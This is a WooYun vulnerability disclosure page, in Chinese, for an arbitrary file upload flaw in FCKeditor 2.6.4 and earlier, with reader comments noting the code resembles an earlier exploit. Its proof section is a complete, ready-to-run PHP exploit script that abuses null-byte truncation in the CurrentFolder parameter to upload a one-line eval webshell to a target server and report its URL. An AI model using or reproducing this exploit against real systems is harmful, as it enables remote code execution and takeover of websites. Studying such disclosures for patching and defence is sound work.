当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(42) 关注此漏洞

缺陷编号: WooYun-2011-01684

漏洞标题: fckeditor <= 2.6.4 任意文件上传漏洞

相关厂商: fckeditor

漏洞作者: 我勒个去

提交时间: 2011-03-22 14:09

公开时间: 2011-03-22 14:18

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: fckeditor NULL截断

38人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-03-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-03-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

fckeditor <= 2.6.4 任意文件上传漏洞, php coldfunsion应该KO了,asp表示很淡定,其他语言版本未测

详细说明:

currentfolder过滤不给力啊,但是GPC就能让它脑残

漏洞证明:

code 区域
<?


error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));
$match = array();

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}

function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}

print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";

die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";


$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";

$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";
//print $packet;
$packet .= "Host: {$host}\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

print $packet;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";


?>

修复方案:

参见**.**.**.**修复

版权声明:转载请注明来源 我勒个去@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:12 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
50%
50%
0%
0%
0%

评价

  1. 2011-03-22 14:19 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    4

  2. 2011-03-22 17:26 | Jacks ( 普通白帽子 | Rank:162 漏洞数:25 | ╮(╯▽╰)╭ 情何以堪 http://royalhack....)
    3

    这个code怎么那么熟悉?不是EgiX 写的那个?

  3. 2011-03-22 18:21 | m0r5 ( 路人 | Rank:30 漏洞数:6 )
    4

    这不是是EgiX 写的那个?

  4. 2011-03-23 00:49 | 霍家二爷 ( 实习白帽子 | Rank:63 漏洞数:7 | 我撸管这么牛逼还是没妞喜欢我)
    3

    http://seclists.org/pen-test/2010/Jul/0 截断呀截断

  5. 2012-10-25 23:36 | G8dSnow ( 路人 | Rank:21 漏洞数:5 | 一直在学习技术、分享知识的路上)
    1

    截断各处中招,xss和文件操作都有。。。伤不起。。。

登录后才能发表评论,请先 登录